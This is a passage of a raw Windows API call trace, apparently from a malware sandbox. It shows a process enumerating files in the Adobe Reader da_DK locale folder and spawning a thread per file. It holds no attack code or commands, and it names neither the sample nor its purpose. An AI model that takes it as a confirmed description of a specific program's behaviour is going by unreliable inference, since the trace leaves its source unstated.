_Dest=0x431879e0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK" [0244.875] wcscat (in: _Dest=0x431879e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" [0244.875] wcscat (in: _Dest=0x431879e0, _Source="eBook.DAN" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\eBook.DAN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\eBook.DAN" [0244.875] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431879e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x370 [0244.876] FindNextFileW (in: hFindFile=0x1cd9d250, lpFindFileData=0x1ce1e950 | out: lpFindFileData=0x1ce1e950*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82caeac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.DAN", cAlternateFileName="")) returned 1 [0244.876] wcscmp (_String1="EScript.DAN", _String2=".") returned 1 [0244.876] wcscmp (_String1="EScript.DAN", _String2="..") returned 1 [0244.876] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x43187bc0 [0244.876] wcscpy (in: _Dest=0x43187bc0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK" [0244.876] wcscat (in: _Dest=0x43187bc0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" [0244.876] wcscat (in: _Dest=0x43187bc0, _Source="EScript.DAN" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\EScript.DAN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\EScript.DAN" [0244.877] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43187bc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22a4 [0244.877] FindNextFileW (in: hFindFile=0x1cd9d250, lpFindFileData=0x1ce1e950 | out: lpFindFileData=0x1ce1e950*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cd4c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.DAN", cAlternateFileName="")) returned 1 [0244.877] wcscmp (_String1="IA32.DAN", _String2=".") returned 1 [0244.877] wcscmp (_String1="IA32.DAN", _String2="..") returned 1 [0244.877] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x43187c60 [0244.878] wcscpy (in: _Dest=0x43187c60, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK" [0244.878] wcscat (in: _Dest=0x43187c60, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" [0244.878] wcscat (in: _Dest=0x43187c60, _Source="IA32.DAN" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\IA32.DAN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\IA32.DAN" [0244.878] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43187c60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d78 [0244.878] FindNextFileW (in: hFindFile=0x1cd9d250, lpFindFileData=0x1ce1e950 | out: lpFindFileData=0x1ce1e950*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da1cfa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="makeaccessible.DAN", cAlternateFileName="MAKEAC~1.DAN")) returned 1 [0244.878] wcscmp (_String1="makeaccessible.DAN", _String2=".") returned 1 [0244.878] wcscmp (_String1="makeaccessible.DAN", _String2="..") returned 1 [0244.878] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1cebf6e0 [0244.879] wcscpy (in: _Dest=0x1cebf6e0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK" [0244.879] wcscat (in: _Dest=0x1cebf6e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" [0244.879] wcscat (in: _Dest=0x1cebf6e0, _Source="makeaccessible.DAN" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\makeaccessible.DAN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\makeaccessible.DAN" [0244.879] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cebf6e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d74 [0244.880] FindNextFileW (in: hFindFile=0x1cd9d250, lpFindFileData=0x1ce1e950 | out: lpFindFileData=0x1ce1e950*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d723420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.DAN", cAlternateFileName="MULTIM~1.DAN")) returned 1 [0244.880] wcscmp (_String1="Multimedia.DAN", _String2=".") returned 1 [0244.880] wcscmp (_String1="Multimedia.DAN", _String2="..") returned 1 [0244.880] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x43187da0 [0244.880] wcscpy (in: _Dest=0x43187da0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK" [0244.880] wcscat (in: _Dest=0x43187da0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" [0244.880] wcscat (in: _Dest=0x43187da0, _Source="Multimedia.DAN" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Multimedia.DAN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Multimedia.DAN" [0244.880] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43187da0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d80 [0244.881] FindNextFileW (in: hFindFile=0x1cd9d250, lpFindFileData=0x1ce1e950 | out: lpFindFileData=0x1ce1e950*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9f6e40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="pddom.DAN", cAlternateFileName="")) returned 1 [0244.881] wcscmp (_String1="pddom.DAN", _String2=".") returned 1 [0244.881] wcscmp (_String1="pddom.DAN", _String2="..") returned 1 [0244.881] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x43187d00 [0244.881] wcscpy (in: _Dest=0x43187d00, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK" [0244.881] wcscat (in: _Dest=0x43187d00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" [0244.881] wcscat (in: _Dest=0x43187d00, _Source="pddom.DAN" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\pddom.DAN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\pddom.DAN" [0244.881] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43187d00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d94 [0244.882] FindNextFileW (in: hFindFile=0x1cd9d250, lpFindFileData=0x1ce1e950 | out: lpFindFileData=0x1ce1e950*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cd4c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLITE.DAN", cAlternateFileName="")) returned 1 [0244.882] wcscmp (_String1="PPKLITE.DAN", _String2=".") returned 1 [0244.882] wcscmp (_String1="PPKLITE.DAN", _String2="..") returned 1 [0244.882] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x4205c970 [0244.882] wcscpy (in: _Dest=0x4205c970, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK" [0244.882] wcscat (in: _Dest=0x4205c970, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" [0244.882] wcscat (in: _Dest=0x4205c970, _Source="PPKLITE.DAN" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\PPKLITE.DAN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\PPKLITE.DAN" [0244.883] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205c970, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d98 [0244.883] FindNextFileW (in: hFindFile=0x1cd9d250, lpFindFileData=0x1ce1e950 | out: lpFindFileData=0x1ce1e950*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f89c980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x144c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.DAN", cAlternateFileName="")) returned 1 [0244.883] wcscmp (_String1="RdLang32.DAN", _String2=".") returned 1 [0244.883] wcscmp (_String1="RdLang32.DAN", _String2="..") returned 1 [0244.883] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x4205d230 [0244.884] wcscpy (in: _Dest=0x4205d230, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK" [0244.884] wcscat (in: _Dest=0x4205d230, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" [0244.884] wcscat (in: _Dest=0x4205d230, _Source="RdLang32.DAN" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\RdLang32.DAN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\RdLang32.DAN" [0244.884] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205d230, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b80 [0244.927] FindNextFileW (in: hFindFile=0x1cd9d250, lpFindFileData=0x1ce1e950 | out: lpFindFileData=0x1ce1e950*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.DAN", cAlternateFileName="READOU~1.DAN")) returned 1 [0244.927] wcscmp (_String1="ReadOutLoud.DAN", _String2=".") returned 1 [0244.927] wcscmp (_String1="ReadOutLoud.DAN", _String2="..") returned 1 [0244.927] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1cec0fa0 [0244.928] wcscpy (in: _Dest=0x1cec0fa0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK" [0244.928] wcscat (in: _Dest=0x1cec0fa0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" [0244.928] wcscat (in: _Dest=0x1cec0fa0, _Source="ReadOutLoud.DAN" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\ReadOutLoud.DAN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\ReadOutLoud.DAN" [0244.928] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cec0fa0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x62c [0244.929] FindNextFileW (in: hFindFile=0x1cd9d250, lpFindFileData=0x1ce1e950 | out: lpFindFileData=0x1ce1e950*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d984a20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.DAN", cAlternateFileName="")) returned 1 [0244.929] wcscmp (_String1="reflow.DAN", _String2=".") returned 1 [0244.929] wcscmp (_String1="reflow.DAN", _String2="..") returned 1 [0244.929] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x4205d410 [0244.930] wcscpy (in: _Dest=0x4205d410, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK" [0244.930] wcscat (in: _Dest=0x4205d410, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" [0244.930] wcscat (in: _Dest=0x4205d410, _Source="reflow.DAN" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\reflow.DAN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\reflow.DAN" [0244.930] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205d410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ad0 [0244.931] FindNextFileW (in: hFindFile=0x1cd9d250, lpFindFileData=0x1ce1e950 | out: lpFindFileData=0x1ce1e950*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da8f3c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.DAN", cAlternateFileName="SAVEAS~1.DAN")) returned 1 [0244.931] wcscmp (_String1="SaveAsRTF.DAN", _String2=".") returned 1 [0244.931] wcscmp (_String1="SaveAsRTF.DAN", _String2="..") returned 1 [0244.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x4205daf0 [0244.932] wcscpy (in: _Dest=0x4205daf0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK" [0244.932] wcscat (in: _Dest=0x4205daf0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" [0244.932] wcscat (in: _Dest=0x4205daf0, _Source="SaveAsRTF.DAN" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\SaveAsRTF.DAN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\SaveAsRTF.DAN" [0244.932] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205daf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11b4 [0244.933] FindNextFileW (in: hFindFile=0x1cd9d250, lpFindFileData=0x1ce1e950 | out: lpFindFileData=0x1ce1e950*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cd4c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.DAN", cAlternateFileName="")) returned 1 [0244.933] wcscmp (_String1="Search.DAN", _String2=".") returned 1 [0244.933] wcscmp (_String1="Search.DAN", _String2="..") returned 1 [0244.933] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x4205df50 [0244.933] wcscpy (in: _Dest=0x4205df50, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK" [0244.933] wcscat (in: _Dest=0x4205df50, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" [0244.933] wcscat (in: _Dest=0x4205df50, _Source="Search.DAN" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Search.DAN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Search.DAN" [0244.933] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205df50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11b8 [0244.934] FindNextFileW (in: hFindFile=0x1cd9d250, lpFindFileData=0x1ce1e950 | out: lpFindFileData=0x1ce1e950*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cd4c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.DAN", cAlternateFileName="")) returned 1 [0244.934] wcscmp (_String1="SendMail.DAN", _String2=".") returned 1 [0244.934] wcscmp (_String1="SendMail.DAN", _String2="..") returned 1 [0244.934] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x4205da50 [0244.934] wcscpy (in: _Dest=0x4205da50, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK" [0244.934] wcscat (in: _Dest=0x4205da50, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" [0244.935] wcscat (in: _Dest=0x4205da50, _Source="SendMail.DAN" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\SendMail.DAN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\SendMail.DAN" [0244.935] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205da50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11bc [0244.936] FindNextFileW (in: hFindFile=0x1cd9d250, lpFindFileData=0x1ce1e950 | out: lpFindFileData=0x1ce1e950*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f971c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0244.936] wcscmp (_String1="Services", _String2=".") returned 1 [0244.936] wcscmp (_String1="Services", _String2="..") returned 1 [0244.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4205d190 [0244.936] wcscpy (in: _Dest=0x4205d190, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK" [0244.936] wcscat (in: _Dest=0x4205d190, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" [0244.936] wcscat (in: _Dest=0x4205d190, _Source="Services" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Services" [0244.936] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x4205d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11c0 [0244.937] FindNextFileW (in: hFindFile=0x1cd9d250, lpFindFileData=0x1ce1e950 | out: lpFindFileData=0x1ce1e950*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.DAN", cAlternateFileName="")) returned 1 [0244.937] wcscmp (_String1="Spelling.DAN", _String2=".") returned 1 [0244.937] wcscmp (_String1="Spelling.DAN", _String2="..") returned 1 [0244.937] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x4205d4b0 [0244.937] wcscpy (in: _Dest=0x4205d4b0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK" [0244.937] wcscat (in: _Dest=0x4205d4b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" [0244.937] wcscat (in: _Dest=0x4205d4b0, _Source="Spelling.DAN" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Spelling.DAN") returned="C:\\Program Files (x86)\\Adobe\\Reader 